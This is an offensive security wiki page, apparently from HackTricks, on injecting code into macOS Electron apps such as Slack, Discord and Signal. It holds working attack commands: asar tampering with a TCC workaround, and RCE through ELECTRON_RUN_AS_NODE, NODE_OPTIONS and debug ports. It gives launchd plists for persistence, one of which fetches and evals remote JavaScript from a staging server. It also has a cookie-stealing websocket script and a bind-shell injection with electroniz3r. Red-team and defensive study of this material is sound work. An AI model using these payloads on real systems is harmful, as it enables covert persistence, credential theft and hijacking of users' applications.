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macOS Electron Applications Injection

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Basic Information

If you don't know what Electron is you can find lots of information here. But for now just know that Electron runs node. And node has some parameters and env variables that can be use to make it execute other code apart from the indicated file.

Electron Fuses

These techniques will be discussed next, but in recent times Electron has added several security flags to prevent them. These are the Electron Fuses and these are the ones used to prevent Electron apps in macOS from loading arbitrary code:

  • RunAsNode: If disabled, it prevents the use of the env var ELECTRON_RUN_AS_NODE to inject code.

  • EnableNodeCliInspectArguments: If disabled, params like --inspect, --inspect-brk won't be respected. Avoiding his way to inject code.

  • EnableEmbeddedAsarIntegrityValidation: If enabled, the loaded asar file will be validated by macOS. Preventing this way code injection by modifying the contents of this file.

  • OnlyLoadAppFromAsar: If this is enabled, instead of searching to load in the following order: app.asar, app and finally default_app.asar. It will only check and use app.asar, thus ensuring that when combined with the embeddedAsarIntegrityValidation fuse it is impossible to load non-validated code.

  • LoadBrowserProcessSpecificV8Snapshot: If enabled, the browser process uses the file called browser_v8_context_snapshot.bin for its V8 snapshot.

Another interesting fuse that won't be preventing code injection is:

  • EnableCookieEncryption: If enabled, the cookie store on disk is encrypted using OS level cryptography keys.

Checking Electron Fuses

You can check these flags from an application with:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
  RunAsNode is Disabled
  EnableCookieEncryption is Enabled
  EnableNodeOptionsEnvironmentVariable is Disabled
  EnableNodeCliInspectArguments is Disabled
  EnableEmbeddedAsarIntegrityValidation is Enabled
  OnlyLoadAppFromAsar is Enabled
  LoadBrowserProcessSpecificV8Snapshot is Disabled

Modifying Electron Fuses

As the docs mention, the configuration of the Electron Fuses are configured inside the Electron binary which contains somewhere the string dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX.

In macOS applications this is typically in application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

You could load this file in https://hexed.it/ and search for the previous string. After this string you can see in ASCII a number "0" or "1" indicating if each fuse is disabled or enabled. Just modify the hex code (0x30 is 0 and 0x31 is 1) to modify the fuse values.

Note that if you try to overwrite the Electron Framework binary inside an application with these bytes modified, the app won't run.

RCE adding code to Electron Applications

There could be external JS/HTML files that an Electron App is using, so an attacker could inject code in these files whose signature won't be checked and execute arbitrary code in the context of the app.

However, at the moment there are 2 limitations:

  • The kTCCServiceSystemPolicyAppBundles permission is needed to modify an App, so by default this is no longer possible.

  • The compiled asap file usually has the fuses embeddedAsarIntegrityValidation and onlyLoadAppFromAsar enabled

Making this attack path more complicated (or impossible).

Note that it's possible to bypass the requirement of kTCCServiceSystemPolicyAppBundles by copying the application to another directory (like /tmp), renaming the folder app.app/Contents to app.app/NotCon, modifying the asar file with your malicious code, renaming it back to app.app/Contents and executing it.

You can unpack the code from the asar file with:

npx asar extract app.asar app-decomp

And pack it back after having modified it with:

npx asar pack app-decomp app-new.asar

RCE with ELECTRON_RUN_AS_NODE

According to the docs, if this env variable is set, it will start the process as a normal Node.js process.

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

If the fuse RunAsNode is disabled the env var ELECTRON_RUN_AS_NODE will be ignored, and this won't work.

Injection from the App Plist

As proposed here, you could abuse this env variable in a plist to maintain persistence:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
           <key>ELECTRON_RUN_AS_NODE</key>
           <string>true</string>
    </dict>
    <key>Label</key>
    <string>com.xpnsec.hideme</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
        <string>-e</string>
        <string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

RCE with NODE_OPTIONS

You can store the payload in a different file and execute it:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

If the fuse EnableNodeOptionsEnvironmentVariable is disabled, the app will ignore the env var NODE_OPTIONS when launched unless the env variable ELECTRON_RUN_AS_NODE is set, which will be also ignored if the fuse RunAsNode is disabled.

If you don't set ELECTRON_RUN_AS_NODE , you will find the error: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.

Injection from the App Plist

You could abuse this env variable in a plist to maintain persistence adding these keys:

<dict>
    <key>EnvironmentVariables</key>
    <dict>
           <key>ELECTRON_RUN_AS_NODE</key>
           <string>true</string>
           <key>NODE_OPTIONS</key>
           <string>--require /tmp/payload.js</string>
    </dict>
    <key>Label</key>
    <string>com.hacktricks.hideme</string>
    <key>RunAtLoad</key>
    <true/>
</dict>

RCE with inspecting

According to this, if you execute an Electron application with flags such as --inspect, --inspect-brk and --remote-debugging-port, a debug port will be open so you can connect to it (for example from Chrome in chrome://inspect) and you will be able to inject code on it or even launch new processes. For example:

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

If the fuse EnableNodeCliInspectArguments is disabled, the app will ignore node parameters (such as --inspect) when launched unless the env variable ELECTRON_RUN_AS_NODE is set, which will be also ignored if the fuse RunAsNode is disabled.

However, you could still use the electron param --remote-debugging-port=9229 but the previous payload won't work to execute other processes.

Using the param --remote-debugging-port=9222 it's possible to steal some information from the Electron App like the history (with GET commands) or the cookies of the browser (as they are decrypted inside the browser and there is a json endpoint that will give them).

You can learn how to do that in here and here and use the automatic tool WhiteChocolateMacademiaNut or a simple script like:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

In this blogpost, this debugging is abused to make a headless chrome download arbitrary files in arbitrary locations.

Injection from the App Plist

You could abuse this env variable in a plist to maintain persistence adding these keys:

<dict>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
        <string>--inspect</string>
    </array>
    <key>Label</key>
    <string>com.hacktricks.hideme</string>
    <key>RunAtLoad</key>
    <true/>
</dict>

TCC Bypass abusing Older Versions

The TCC daemon from macOS doesn't check the executed version of the application. So if you cannot inject code in an Electron application with any of the previous techniques you could download a previous version of the APP and inject code on it as it will still get the TCC privileges (unless Trust Cache prevents it).

Run non JS Code

The previous techniques will allow you to run JS code inside the process of the electron application. However, remember that the child processes run under the same sandbox profile as the parent application and inherit their TCC permissions. Therefore, if you want to abuse entitlements to access the camera or microphone for example, you could just run another binary from the process.

Automatic Injection

The tool electroniz3r can be easily used to find vulnerable electron applications installed and inject code on them. This tool will try to use the --inspect technique:

You need to compile it yourself and can use it like this:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║    Bundle identifier                      │       Path                                               ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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